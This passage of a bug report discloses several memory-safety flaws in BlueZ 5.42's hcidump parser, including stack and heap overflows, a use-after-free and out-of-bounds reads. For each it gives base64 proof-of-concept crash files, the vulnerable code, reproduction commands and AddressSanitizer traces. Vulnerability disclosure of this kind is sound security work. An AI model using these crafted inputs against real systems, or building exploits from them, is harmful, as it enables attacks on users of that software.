An buffer overflow was observed in "commands_dump" function in "tools/parser/csr.c" source file. The issue exist because "commands" array is overflowed by supplied parameter due to lack of boundary checks on size of the buffer from frame "frm->ptr" parameter. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAqEAAQACDNAAIEAg7/AAEQEJABgEUKAAAD6LcAIP4GhwH/5mB5f3ME2wABABYaPhI+uj66AGUE
WQApP0Y+hRo+ugADBP8AggUSEhISEgNwIOkGAQD/f84AGBo+uvwDBAED6D4+PlgAAR8AA+YBPj5I
Gj662AMEAQD/nAAAA+YBAAADBAEAEiPlAAEAPrrYAwQBAP9/AAAYGj4AABgBAQAzJD4+WP8ButgD
hAEHEj4+PTwaOroAAwQBADA+Pj5YAAEfAAMAAQA+AAQaOBo+uvgDBAEAZAA+Uxo+utgDBD4+WAAB
HwAD5gEAPpfT/wA=
Affected code:
143 static inline void commands_dump(int level, char *str, struct frame *frm)
144 {
145 unsigned char commands[64];
146 unsigned int i;
147
148 memcpy(commands, frm->ptr, frm->len);
149
150 p_indent(level, frm);
151 printf("%s: commands", str);
152 for (i = 0; i < frm->len; i++)
153 printf(" 0x%02x", commands[i]);
154 printf("\n");
155 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==20429==ERROR: AddressSanitizer: unknown-crash on address 0x7fc28f471400 at pc 0x570527 bp 0x7fc28f471250 sp 0x7fc28f471248
WRITE of size 69 at 0x7fc28f471400 thread T0
#0 0x570526 in commands_dump tools/parser/csr.c:148
#1 0x570526 in pskey_dump tools/parser/csr.c:284
#2 0x576cae in bccmd_dump tools/parser/csr.c:496
#3 0x57d48a in csr_dump tools/parser/csr.c:569
#4 0x482b5e in event_dump tools/parser/hci.c:3823
#5 0x482b5e in hci_dump tools/parser/hci.c:4116
#6 0x4035d4 in parse tools/parser/parser.h:260
#7 0x4035d4 in read_dump tools/hcidump.c:425
#8 0x4035d4 in main tools/hcidump.c:810
#9 0x71b152861b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#10 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
Address 0x7fc28f471400 is located in stack of thread T0 at offset 384 in frame
#0 0x5661ff in pskey_dump tools/parser/csr.c:239
This frame has 6 object(s):
[32, 38) 'b'
[96, 104) 'features'
[160, 168) 't'
[224, 242) 'addr'
[288, 344) 'tm'
[384, 448) 'commands' <== Memory access at offset 384 partially overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: unknown-crash tools/parser/csr.c:148 commands_dump
Shadow bytes around the buggy address:
0x0ff8d1e86230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff8d1e86240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff8d1e86250: f1 f1 f1 f1 06 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4
0x0ff8d1e86260: f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 00 02 f4
0x0ff8d1e86270: f2 f2 f2 f2 00 00 00 00 00 00 00 f4 f2 f2 f2 f2
=>0x0ff8d1e86280:[00]00 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
0x0ff8d1e86290: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
0x0ff8d1e862a0: 00 f4 f4 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 f4
0x0ff8d1e862b0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x0ff8d1e862c0: f1 f1 f1 f1 06 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4
0x0ff8d1e862d0: f2 f2 f2 f2 00 00 02 f4 f2 f2 f2 f2 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==20429==ABORTING
[-- Attachment #5: conf_opt_UaF.txt --]
[-- Type: text/plain, Size: 4817 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
A use-after-free was identified in "conf_opt" function in "tools/parser/l2cap.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAIl48QJQQEBIAEBAzyAJCQj0QAkJ6P9gEAkJAT0yAA6v8A/3+PfwAAAQABAAA9PggAav8HAD4+
IAAp2RlAAKKA0xU0AgAAAAEQAAEABf9WAAAAIBkCAAEQAAAANABq/wcAPj4gACnZGUAAooDTFTQC
AAAAARcAAQAF/1YAAAAgGQIAARAAAAA49fECFw4CAAEAAH8VAAD79v8AAEABANM9PggAgP8HAAU+
IAAp+BlAAKKA0xU0AgAA8wEyAAEABf//fxoAIBkCAAEQAAAANPXxAhcOAgABAAB/FQAAAAAAAABA
AQDTPT4IAID/BwA+PiAAKfgZQACigNMVNAIAGgDTPT4KAID/BwA+PiAAKfgAARAAAAAABQABAAA9
Pv//AAABFwABAAX/VgAA
Affected code:
636 static void conf_opt(int level, void *ptr, int len, int in, uint16_t handle,
637 uint16_t cid)
638 {
639 int indent = 0;
640 p_indent(level, 0);
641 while (len > 0) {
642 l2cap_conf_opt *h = ptr;
643
644 ptr += L2CAP_CONF_OPT_SIZE + h->len;
645 len -= L2CAP_CONF_OPT_SIZE + h->len;
646
647 if (h->type & 0x80)
648 printf("[");
649
650 if (indent++) {
651 printf("\n");
652 p_indent(level, 0);
653 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==27419==ERROR: AddressSanitizer: heap-use-after-free on address 0x60600000efd4 at pc 0x48d77a bp 0x72b7bc0bf2b0 sp 0x72b7bc0bf2a8
READ of size 1 at 0x60600000efd4 thread T0
#0 0x48d779 in conf_opt tools/parser/l2cap.c:644
#1 0x498a05 in conf_rsp tools/parser/l2cap.c:781
#2 0x498a05 in l2cap_parse tools/parser/l2cap.c:1256
#3 0x4a627f in l2cap_dump tools/parser/l2cap.c:1624
#4 0x479c9c in acl_dump tools/parser/hci.c:4041
#5 0x479c9c in hci_dump tools/parser/hci.c:4120
#6 0x4035d4 in parse tools/parser/parser.h:260
#7 0x4035d4 in read_dump tools/hcidump.c:425
#8 0x4035d4 in main tools/hcidump.c:810
#9 0x6f259422cb44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#10 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x60600000efd4 is located 20 bytes inside of 50-byte region [0x60600000efc0,0x60600000eff2)
freed by thread T0 here:
#0 0x6f259460a527 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x54527)
#1 0x483696 in read_remote_version_complete_dump tools/parser/hci.c:3200
#2 0x483696 in event_dump tools/parser/hci.c:3902
#3 0x483696 in hci_dump tools/parser/hci.c:4116
previously allocated by thread T0 here:
#0 0x6f259460a73f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x58f374 in hci_uint2str lib/hci.c:100
#2 0x58f374 in lmp_vertostr lib/hci.c:675
SUMMARY: AddressSanitizer: heap-use-after-free tools/parser/l2cap.c:644 conf_opt
Shadow bytes around the buggy address:
0x0c0c7fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 00
=>0x0c0c7fff9df0: 00 00 06 fa fa fa fa fa fd fd[fd]fd fd fd fd fa
0x0c0c7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==27419==ABORTING
[-- Attachment #6: l2cap_dump_BO.txt --]
[-- Type: text/plain, Size: 4304 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An buffer overflow was observed in "l2cap_dump" function in "tools/parser/l2cap.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
BAAqBRkQAKLNFRU0AgIHFwIXAAEABRkgAAAANAI9WAY+uugDPj4+WBo6utgDBAEA/5wAADgaProA
AwQB
Affected code:
1570 }
1571
1572 if (!(fr = get_frame(frm->handle))) {
1573 fprintf(stderr, "Not enough connection handles\n");
1574 raw_dump(level, frm);
1575 return;
1576 }
1577
1578 if (fr->data)
1579 free(fr->data);
1580
1581 if (!(fr->data = malloc(dlen + L2CAP_HDR_SIZE))) {
1582 perror("Can't allocate L2CAP reassembly buffer");
1583 return;
1584 }
1585 memcpy(fr->data, frm->ptr, frm->len);
1586 fr->data_len = dlen + L2CAP_HDR_SIZE;
1587 fr->len = frm->len;
1588 fr->ptr = fr->data;
1589 fr->dev_id = frm->dev_id;
1590 fr->in = frm->in;
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==17644==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001f75c at pc 0x79c51d04e792 bp 0x79f5616c33d0 sp 0x79f5616c2b90
READ of size 4294967295 at 0x61b00001f75c thread T0
#0 0x79c51d04e791 (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x2e791)
#1 0x4a52d2 in l2cap_dump tools/parser/l2cap.c:1585
#2 0x479c9c in acl_dump tools/parser/hci.c:4041
#3 0x479c9c in hci_dump tools/parser/hci.c:4120
#4 0x4035d4 in parse tools/parser/parser.h:260
#5 0x4035d4 in read_dump tools/hcidump.c:425
#6 0x4035d4 in main tools/hcidump.c:810
#7 0x79c51cc96b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#8 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x61b00001f75c is located 0 bytes to the right of 1500-byte region [0x61b00001f180,0x61b00001f75c)
allocated by thread T0 here:
#0 0x79c51d07473f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x402f12 in read_dump tools/hcidump.c:288
#2 0x402f12 in main tools/hcidump.c:810
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
0x0c367fffbe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffbee0: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c367fffbef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==17644==ABORTING
[-- Attachment #7: le_meta_ev_dump_OOB.txt --]
[-- Type: text/plain, Size: 4880 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An out-of-bound read was observed in "le_meta_ev_dump" function in "tools/parser/hci.c" source file. This issue exist becuase 'subevent' which is used to read correct element from 'ev_le_meta_str' array is overflown. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAQ/xjyQAToA4AEBAxbAJD//0kDAKSQIAAgAQb/yyIAgAAB/3+Pf0siSgABABI+Pj5YGj662AME
BwASPgBkPBo+ugADBAEAMD4+PkkAAR8AA+YBAD4IBBo+ABC62AMEAQAwPllVWAABHwAD5gEAPgAE
Gj5APv//AwQBAAU+Pj1YJz668AMEAQASPj4+WBo+utgDBAEA/38A6RcaProAAwQBABIkPj5YGj66
2BAEAQA7//+6AIMEAQASJD4fWAABAQA+HwQaPkA=
Affected code:
3659 static inline void le_meta_ev_dump(int level, struct frame *frm)
3660 {
3661 evt_le_meta_event *mevt = frm->ptr;
3662 uint8_t subevent;
3663
3664 subevent = mevt->subevent;
3665
3666 frm->ptr += EVT_LE_META_EVENT_SIZE;
3667 frm->len -= EVT_LE_META_EVENT_SIZE;
3668
3669 p_indent(level, frm);
3670 printf("%s\n", ev_le_meta_str[subevent]);
3671
3672 switch (mevt->subevent) {
3673 case EVT_LE_CONN_COMPLETE:
3674 evt_le_conn_complete_dump(level + 1, frm);
3675 break;
3676 case EVT_LE_ADVERTISING_REPORT:
3677 evt_le_advertising_report_dump(level + 1, frm);
3678 break;
3679 case EVT_LE_CONN_UPDATE_COMPLETE:
3680 evt_le_conn_update_complete_dump(level + 1, frm);
3681 break;
3682 case EVT_LE_READ_REMOTE_USED_FEATURES_COMPLETE:
3683 evt_le_read_remote_used_features_complete_dump(level + 1, frm);
3684 break;
3685 default:
3686 raw_dump(level, frm);
3687 break;
3688 }
3689 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==30076==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0000005bd780 at pc 0x48701d bp 0x7d1fca13a5c0 sp 0x7d1fca13a5b8
READ of size 8 at 0x0000005bd780 thread T0
#0 0x48701c in le_meta_ev_dump tools/parser/hci.c:3670
#1 0x48701c in event_dump tools/parser/hci.c:3991
#2 0x48701c in hci_dump tools/parser/hci.c:4116
#3 0x4035d4 in parse tools/parser/parser.h:260
#4 0x4035d4 in read_dump tools/hcidump.c:425
#5 0x4035d4 in main tools/hcidump.c:810
#6 0x7bf781766b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#7 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x0000005bd780 is located 15 bytes to the right of global variable '*.LC615' from 'tools/parser/hci.c' (0x5bd760) of size 17
'*.LC615' is ascii string 'Inquiry Complete'
0x0000005bd780 is located 32 bytes to the left of global variable '*.LC616' from 'tools/parser/hci.c' (0x5bd7a0) of size 15
'*.LC616' is ascii string 'Inquiry Result'
SUMMARY: AddressSanitizer: global-buffer-overflow tools/parser/hci.c:3670 le_meta_ev_dump
Shadow bytes around the buggy address:
0x0000800afaa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
0x0000800afab0: f9 f9 f9 f9 00 00 07 f9 f9 f9 f9 f9 00 00 06 f9
0x0000800afac0: f9 f9 f9 f9 00 00 00 06 f9 f9 f9 f9 00 00 00 00
0x0000800afad0: 06 f9 f9 f9 f9 f9 f9 f9 00 00 00 01 f9 f9 f9 f9
0x0000800afae0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 01 f9
=>0x0000800afaf0:[f9]f9 f9 f9 00 07 f9 f9 f9 f9 f9 f9 00 00 01 f9
0x0000800afb00: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 01 f9
0x0000800afb10: f9 f9 f9 f9 00 06 f9 f9 f9 f9 f9 f9 00 00 00 01
0x0000800afb20: f9 f9 f9 f9 00 07 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0000800afb30: 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 01 f9 f9 f9 f9
0x0000800afb40: 00 00 00 06 f9 f9 f9 f9 00 00 03 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==30076==ABORTING
[-- Attachment #8: pin_code_reply_dump_BO.txt --]
[-- Type: text/plain, Size: 5512 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An buffer overflow was observed in "pin_code_reply_dump" function in "tools/parser/hci.c" source file. The issue exist because "pin" array is overflowed by supplied parameter due to lack of boundary checks on size of the buffer from frame "pin_code_reply_cp *cp" parameter. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IABAl5CgBAQEBAQoBA0EAJCQkEMC0dHOleIAAABkAAEGhwIX/39vllIgSmQBAAAAgD5sGv9mAAAB
AQASRD4+WCE7AAAABAEAED4+PlgAAR8ADuYBAD4IBBo+/T660AMEAQAwPj4+WAABHwAD5gEAPgAE
Fj4BAP//AwQBAAVRPj1YBj666AMEAQASPj4+WBo+utgDBAEA/5wAAAPmAQAAAwQBABIkAAABAD66
2AMEAQD/fwAAGBo+AAAAAQEAEiQ+PlgAAbrYAwQBAH8+PlA8Gjq6AAMEAQAwJj4+WAABHwAD5gEA
PgAEGjgaEAAESgABAAD5gD5sGv9mBgDmAQA+CAQaPho+utADBAEAMD4+PlgAAR8AA+YBADA+Pj5Y
AAEfAAPmAQA+lxYaPho+utgDBAEAMD5HPloAAR8AA+YBAD4ABBo+Gj662BIEAQCMPj5NWBo+ugAD
BAEAAJCPjwBAj5TTgAABABI+TT5YGv+AAPYEAQASPj4BAAAAugADBAEAED4+PlgAAR8ADuYBAD4I
BBo+Gj662AMEAQAwPj4+WAABHwAD5gEAPgAEFj5APv//AwQBAAU+Pj1YBj7c6AMEAQASPj4+WBo+
utgDBAEA/5wAABgaZLoAAwQBABIkPj5YGj662AMEAQD/fwAAGBo+AAAAAQEAMyQ+PlgAAbrYA4QB
ABI+Pj08Gjq6AAMEAQAwPj4+WPsAHwADAAEAPgAEGjgaPrr4AwQBAGQA//9/cn9EBEoAAQASPj4+
WBo+utgDBAEAEj4+PTw6ProAAwQBADA+Pj5YAD662AMEAQASPj49PDo+ugADBAEAMD4+PlgAAR8A
A+YBAD6XFho+Gj662AMEAQAwPkc+WgABHwAD5gEAPgAEGj4aPrrYEgQBAIw+Pk1YGj66AAMEAQAA
kI+PAECPlNOAAAEAEj5NPlga/4AA9gQBABI+PgEAAAC6AAMEAQAQPj4+WAABHwAO5gEAPggEGj4a
PrrYAwQBADA+Pj5YAAEfAAPmAQA+AAQWPkA+//8DBAEABT4+PVgGPrroAwQBABI+Pj5YGj662AME
AQD/nAAAGBo+ugADBAEAEiQ+PlgaPrrYAwQBAP9/AAAYGj4AAAABABI+Pj49PDo+ugADBAEA
Affected code:
981 static inline void pin_code_reply_dump(int level, struct frame *frm)
982 {
983 pin_code_reply_cp *cp = frm->ptr;
984 char addr[18], pin[17];
985
986 p_indent(level, frm);
987 p_ba2str(&cp->bdaddr, addr);
988 memset(pin, 0, sizeof(pin));
989 if (parser.flags & DUMP_NOVENDOR)
990 memset(pin, '*', cp->pin_len);
991 else
992 memcpy(pin, cp->pin_code, cp->pin_len);
993 printf("bdaddr %s len %d pin \'%s\'\n", addr, cp->pin_len, pin);
994 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==24887==ERROR: AddressSanitizer: unknown-crash on address 0x7aea85364520 at pc 0x4787ca bp 0x7aea85364450 sp 0x7aea85364448
WRITE of size 209 at 0x7aea85364520 thread T0
#0 0x4787c9 in pin_code_reply_dump tools/parser/hci.c:992
#1 0x4787c9 in command_dump tools/parser/hci.c:1752
#2 0x479623 in hci_dump tools/parser/hci.c:4112
#3 0x4035d4 in parse tools/parser/parser.h:260
#4 0x4035d4 in read_dump tools/hcidump.c:425
#5 0x4035d4 in main tools/hcidump.c:810
#6 0x6f5f04015b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#7 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
Address 0x7aea85364520 is located in stack of thread T0 at offset 160 in frame
#0 0x46b3cf in command_dump tools/parser/hci.c:1685
This frame has 6 object(s):
[32, 38) 'b'
[96, 104) 't'
[160, 177) 'pin' <== Memory access at offset 160 partially overflows this variable
[224, 242) 'addr' <== Memory access at offset 160 partially underflows this variable
[288, 344) 'tm' <== Memory access at offset 160 partially underflows this variable
[384, 633) 'name'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: unknown-crash tools/parser/hci.c:992 pin_code_reply_dump
Shadow bytes around the buggy address:
0x0f5dd0a64850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a64860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a64870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a64880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a64890: f1 f1 f1 f1 06 f4 f4 f4 f2 f2 f2 f2 00 f4 f4 f4
=>0x0f5dd0a648a0: f2 f2 f2 f2[00]00 01 f4 f2 f2 f2 f2 00 00 02 f4
0x0f5dd0a648b0: f2 f2 f2 f2 00 00 00 00 00 00 00 f4 f2 f2 f2 f2
0x0f5dd0a648c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a648d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01
0x0f5dd0a648e0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x0f5dd0a648f0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==24887==ABORTING
[-- Attachment #9: print_cont_state_OOB.txt --]
[-- Type: text/plain, Size: 4171 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An out-of-bound read was observed in "print_cont_state" function in "tools/parser/sdp.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAABP8EDP///n//AgICFwIXAAEAAj4AAAEAAAC1tY8ABP//////jikAmM0gAPf/GRAAf40VAIoC
AgITAjIAAAAFPgAAAQABAAACAAD/AOsaAP+OKZKYzSAACQAaqQCQjQAAnwICQhMCFwAAAAU+AAAB
AQAAq7WPAAT///b//44pAJjNIAAEAQASPj4+WBo+utgDBAEA/5wAABgaProAAwC1tXQABP//////
jikAmM0gAPf/GRAAf40VAIoCAgITAjIAAAAFPgAAAQABAIAAAAD/AOsaAP+OKZKYzSAA9/8ZqQCQ
jQAAnwICQhMCFwAAAAU+AAABAQAAq7WPAAT///b//44pAJjNIAAEAT6jAAM+PlgaPj49PBo+ugAb
BAEAMD4+WBo+utgDBAEAEj4+PTwaProAAwQBADA+Pj5YAAEf
Affected code:
568 static inline void print_cont_state(int level, unsigned char *buf)
569 {
570 uint8_t cont = buf[0];
571 int i;
572
573 p_indent(level, 0);
574 printf("cont");
575 for (i = 0; i < cont + 1; i++)
576 printf(" %2.2X", buf[i]);
577 printf("\n");
578 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==6337==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000ef96 at pc 0x4e39ec bp 0x7f3553ec2550 sp 0x7f3553ec2548
READ of size 1 at 0x60600000ef96 thread T0
#0 0x4e39eb in print_cont_state tools/parser/sdp.c:576
#1 0x4e39eb in sdp_dump tools/parser/sdp.c:764
#2 0x49a9c2 in l2cap_parse tools/parser/l2cap.c:1464
#3 0x4a627f in l2cap_dump tools/parser/l2cap.c:1624
#4 0x479c9c in acl_dump tools/parser/hci.c:4041
#5 0x479c9c in hci_dump tools/parser/hci.c:4120
#6 0x4035d4 in parse tools/parser/parser.h:260
#7 0x4035d4 in read_dump tools/hcidump.c:425
#8 0x4035d4 in main tools/hcidump.c:810
#9 0x7da2df158b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#10 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x60600000ef96 is located 0 bytes to the right of 54-byte region [0x60600000ef60,0x60600000ef96)
allocated by thread T0 here:
#0 0x7da2df53673f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x4a50e7 in l2cap_dump tools/parser/l2cap.c:1581
#2 0x1f
SUMMARY: AddressSanitizer: heap-buffer-overflow tools/parser/sdp.c:576 print_cont_state
Shadow bytes around the buggy address:
0x0c0c7fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 00
=>0x0c0c7fff9df0: 00 00[06]fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0c0c7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
